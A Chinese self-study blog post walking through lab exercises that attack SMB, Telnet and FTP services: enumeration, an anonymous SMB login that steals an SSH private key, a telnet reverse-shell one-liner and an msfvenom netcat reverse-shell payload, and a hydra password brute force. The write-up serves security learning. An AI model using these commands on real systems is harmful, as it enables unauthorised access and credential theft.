【土木人自学网安Day1】基础通信及传输协议的利用

 前言(每日一遍):

“初闻不明劝离意,回头已是提桶人”

 (本贴为自学记录贴)

在食用前确保有以下基础(精选贴)

一、SMB

哲学两大问:

  • 是什么:一种客户端-服务器通信协议,用于共享对网络上的文件、打印机、串行端口和其他资源的访问(相当于可以在网络上访问文件、打印机等),常见端口是445。
  • 为什么要学:因为此协议可以让我们访问网络上的文件,如果可以对SMB“合理”利用,是否就可以通过此协议访问到一些别人不想我们看到的文件呢?甚至通过此协议进入存储文件的服务器!

(一)扫描枚举

枚举属于是侦查的阶段,只有发现目标才能深入了解目标

nmap -A -vv -T4 10.10.22.247

 发现目标,445端口,samba服务器及其版本(samba服务器是支持SMB协议的开源服务器)

此处发现了smb开放,接下来我们还需要进一步对smb的信息进行收集(因为smb负责文件共享等信息,因此对smb进行信息收集可能可以获取到文件拥有者的用户名或者用户密码)。

在这里有一款专门针对smb协议进行扫描的工具Enum4linux(github),nmap也可以进行smb扫描,不过要用到nmap的脚本使用,会比较麻烦,也可自行尝试。
使用方法:

enum4linux [options] ip

-U             get userlist
-M             get machine list
-N             get namelist dump (different from -U and-M)
-S             get sharelist
-P             get password policy information
-G             get group and member list↳

-a             all of the above (full basic enumeration)

获得了已知用户名,共享的组名

获取了系统的版本号 获取了共享的文件有哪些(这里比较让人注意的是profiles配置文件)

当然获取到的信息不止这些,这些只是我认为有用的一部分。从获取到了系统版本号及之前nmap获取到的smb版本号之后其实就可以通过查看该版本是否存在漏洞,然后在exploit-db上搜查漏洞进行利用 

但是这里我们尝试看是否目标服务器存在smb登录的错误配置——即是否允许匿名登录。

 这里我们使用smbclient尝试登录,详情查看(这里

常见参数说明:

-U [name] : 用户名

-p [port] : 特定端口(默认445)

-N:无密码登录

由于我们之前扫描到一个感觉有用的共享文件为profiles文件,所以我们用smbclient连接到该文件进行查看 

smbclient //10.10.22.247/profiles -U Anonymous  -N -p 445

 成功登录,接着我们就可以该文件内有什么内容了

发现了一个.ssh文件以及一个Working From Home Information.txt的文件。在Linux系统中,`.ssh`目录通常用于存储用户的SSH (Secure Shell)配置和密钥文件。SSH是一种加密的网络通信协议,用于在不安全的网络中安全地管理远程计算机。
在`.ssh`目录中,常见的文件包括:

  • 'authorized_keys ∵:包含允许通过SSH密钥进行身份验证的公钥列表。如果你想通过SSH密钥进行登录,你的公钥应该添加到这个文件中。
  • 'id_rsa`和`id_rsa.pub`:这是用户的私钥和公钥文件对。私钥应该保持机密,而公钥可以分享给其他人,以便他们可以将其添加到他们的‘authorized_keys'文件中,从而允许你通过SSH连接到他们的系统。
  • 'known_hosts∵:包含已知主机的公钥,用于验证远程主机的身份。这有助于防止中间人攻击。

对我们而言比较有用的是 id_rsa文件,该文件可以帮助我们无需密码通过ssh登录服务器(查看这里)。

我们使用以下命令可以从smb共享文件上下载该.ssh目录下的id_rsa以及“Working From Home Information.txt”文件

smbclient //<IP_ADDRESS>/<SHARE_NAME> -U <USERNAME>%<PASSWORD> -c 'get "Working From Home Information.txt" "localfile"'

 阅读这个文件发现这个服务器的主人可能叫Cactus,这对我们后面登录ssh提供了一个必要的参数(也可以在公钥中查找用户名)

下面我们下载id_rsa文件

(二)利用信息

下载完毕后就可以使用私钥进行ssh登录了,但是前提是把id_rsa的权限改为600(SSH对私钥文件有一定的权限要求,它要求私钥文件的权限不要过于宽松,一般应该是只有文件拥有者具有读写权限)。

使用id_rsa及刚才我们发现的用户名下面我们就可以进行ssh登录了

ssh -i id_rsa cactus@10.10.231.104

 登录后就拿到flag了

二、Telnet

  • 是什么:Telnet是一种应用程序协议,它允许您使用telnet客户端连接到托管telnet服务器的远程计算机并在其上执行命令。telnet客户端将与服务器建立连接。然后,客户端将成为一个虚拟终端——允许您与远程主机交互,常见23端口。
  • 为什么要学:如果我们能通过telnet连接到服务器,就能和服务器进行交互(换而言之相当于控制了服务器)

(一)扫描枚举

nmap -T4 -A -vv -p- 10.10.4.204

根据题目告知,该8012端口是telnet的端口,可以使用以下命令进行telnet登录

telnet [ip] [port]

在登录telnet后(并非所有telnet都不需要密码和账户名,这里特殊)发现运行命令当前我们的终端没有反应,因此有可能是命令实际已经执行,但是没有交互式显示,因此我们在这里试着反弹shell,看看命令是否真的执行了([什么是shell?][反弹shell?])。
(二)反弹shell

这里我们使用

mknod a p; telnet [localip] 2333 0<a | /bin/bash 1>a

发现没作用,我们使用接下来尝试在telnet服务器上对本机进行ping操作,然后监听本机网口,看是否有ICMP协议的ping传过来

 tcpdump ip proto \\icmp -i tun0 #tun0是本地网口,这个操作用来捕获在tun0接口上的ICMP协议的数据包。

表示命令确实执行了但是没有回显,接下来我们将使用更专业的生成反弹shell的工具 msfvenom 生成一个反向 shell 负载(目标主机安装了netcat【netcat】)。这将为我们生成并编码一个 netcat 反向 shell(Msfvenom是Metasploit框架中的一个工具,用于生成各种类型的恶意软件载荷(payloads),它是msfpayload和msfencode两个工具的综合)

msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=2333 R

#该命令使用msfvenom工具生成一个用于在目标Unix系统上执行命令的payload。生成的payload将在目标主机上创建一个命名管道(named pipe),然后使用Netcat工具将命令输出重定向到该命名管道。接着,它通过Netcat工具将命令的输入从命名管道中读取,并将输出重定向到另一个文件中。最后,它删除了命名管道。

生成成功,接下来我们将生成的在telnet服务器上执行该反弹shell

成功拿到flag 

 三、FTP

  • 是什么:文件传输协议(FTP),顾名思义,是一种允许通过网络远程传输文件的协议。它使用客户端-服务器模型来做到这一点,FTP客户计算机可将各种类型的文件上传到FTP服务器计算机,FTP客户计算机也可以从FTP服务器计算机下载文件,常见21端口。
  • 为什么要学 :因为文件传输协议使用的是客户端-服务器模型,所以如果我们可以通过客户端登录服务器,那么就能查看FTP服务器内部的一些敏感文件,因此如何登录ftp服务器使我们学习它的主要目的。

(一)枚举

 

nmap -T4 -vv -A 10.10.67.125

 从枚举结果我们可以看到,ftp端口开放,同时允许匿名登录。匿名登录给我们创造了一个突破ftp服务器的机会,客户端登录ftp的语法为   "ftp [IP]" ,随后输入账号密码,我们这里的账号为“anonymous”,密码为空

 发现有一个文件,注意,在FTP中不支持 cat 命令,可以使用 get 命令将文件下载到本地计算机,然后使用文本编辑器或查看器打开它。

(二)爆破账户

我们了解到这个邮件可能是一个叫Mike的人写的,而这个邮件出现在ftp服务器说明可能Mike是一个ftp服务器的账户名,因此这里我们尝试用Mike作为用户名进行ftp登录的密码爆破,使用的工具为hydra (了解点这里)。

hydra -t 4 -l Mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.67.125 ftp

这里用到了指定字典“rockyou.txt”,这个字典是比较出名的字典wordlists中的一个,具体下载请看这里——这里。 

经过爆破得到密码为password(截图略)
使用账户mike,密码password成功登录ftp服务器,找到敏感文件得到flag

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值